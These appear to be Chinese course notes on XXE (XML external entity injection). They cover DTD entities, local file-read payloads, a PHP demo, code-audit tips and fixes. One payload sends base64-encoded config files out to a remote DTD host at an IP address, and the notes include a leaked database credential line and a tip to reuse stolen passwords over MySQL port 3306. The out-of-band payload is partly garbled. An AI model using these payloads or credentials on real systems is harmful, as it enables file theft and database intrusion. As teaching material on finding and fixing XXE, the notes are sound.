XXE - 实体注入(xml外部实体注入)
XXE的危害和SSRF有点像
XXE = XML外部实体注入 (被各种后端脚本调用)
=>XML(存数据不会做任何事情)(像html|传输数据|无预定义)
=>外部实体()
=>注入 [用户输入的数据被当做代码进行执行]
预定义:(预先定义好的东西)
var_dump() 查看数据类型?
eval() 可以命令执行?
echo 他可以输出?
前端代码:
<b></b> 加粗
<h1></h1> 大标题
XML:
<b></b> 名字而已
<h1></h1>
XML:是一个纯文本 存储信息(可以自己发明标签)
<?xml version="1.0"?> 1.0版本
DTD(通过特殊的命令去其他文件读取信息)
SYSTEM
XML部分
引用(1.txt) 包含(include) 目的处理代码冗余
mysqli_connect();
mysqli_query();
mysqli_close();
危害:
XXE 可以通过dtd去读取、访问其他文件或者网站
实体 => 变量 调用变量&实体名;
<!DOCTYPE scan [
<!ENTITY test SYSTEM "file:///c:/1.txt">]> DTD部分
将c的1.txt文件放入test中
<scan>&test;</scan> XML部分
simplexml_load_string() // 读取字符串当作xml执行
simplexml_load_file() // 读取文件当作 xml执行
<?php $test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>'; $obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT); print_r($obj); ?>
变量test里面是XML 然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件
XSS平台:
你打XSS到目标站点 -> 有人访问后把数据传到平台 -> 记录下来,等你来看
XML: 请求一个你自己搭建的php文件,其他的文件。(你想要的数据给带出来)
php文件记录请求的传参内容(记录文件)
等你去看就可以了
没有回显,外带出来:
1、获取信息
2、发送信息
file:/// 正常情况下,网站不应该使用的协议
PHP伪协议(PHP的内部协议)
php://filter/read=convert.base64-encode/resource=a.txt
如何寻找XXE:
1、看到数据包莫名其妙传递、返回XML代码可以试试
2、代码审计
代码审计:
1、静态审计(纯看)
2、动态审计(网站运行起来,然后通过一些特殊手法,去追踪具体的代码流程)
3、小技巧:依靠静态看代码,然后不用动态调试软件,直接修改源码进行动态调试
有些代码会被引用几百次 如何确定这段是否实现 加入相关语句 看页面回显 有回显就是执行了 没有回显就是没执行
静态:
1、全文通读(可拿bluecms练习)
2、危险函数定位 eval() mysqli_query(
$GLOBALS['HTTP_RAW_POST_DATA'] => 获取POST原始数据 (form表单)
<?xml:version="1.0">
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpstudy
scms/conn/conn.php">
8 remote SYsTEM "http://59.63.200.79:8014/xxe/1.xml">
<!ENTITY
&remote;
&send;]>
使用时更改红色就对路径
有的网站可能开了3306 远程数据库连接 即可用xml实体漏洞爆出的密码连接
<?php
error_reporting(E_ALL ^ E_NOTICE);
header("content-type:text/html;charset=utf-8");
session_start();
$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");
md5 => 明文能转密文 密文不能转明文 (e99d2e51cbefe75251f1d40821e07a32)
1.48
修复XXE:
1、libxml_disable_entity_loader(true); PHP的(禁止加载XML实体)
2、过滤SYSTEM关键字
总结:
1、XXE => XML外部实体注入 (目标执行了我们提交的XML代码)
2、XXE代码层(套)
3、危害 => SSRF 差不多
4、回显问题 => 2步走的方法外带出来
5、如何找这个漏洞(1、看到传参或者返回包出现xml 2、代码审计)
6、代码审计(动态、静态[全文、危险函数]、小技巧)
7、seay工具(全文搜索,定位函数)
8、本地测试,最好可以开一个全新环境,以免出问题
9、以前存在的漏洞,去看了之后可以尝试去找新的漏洞(查看补丁)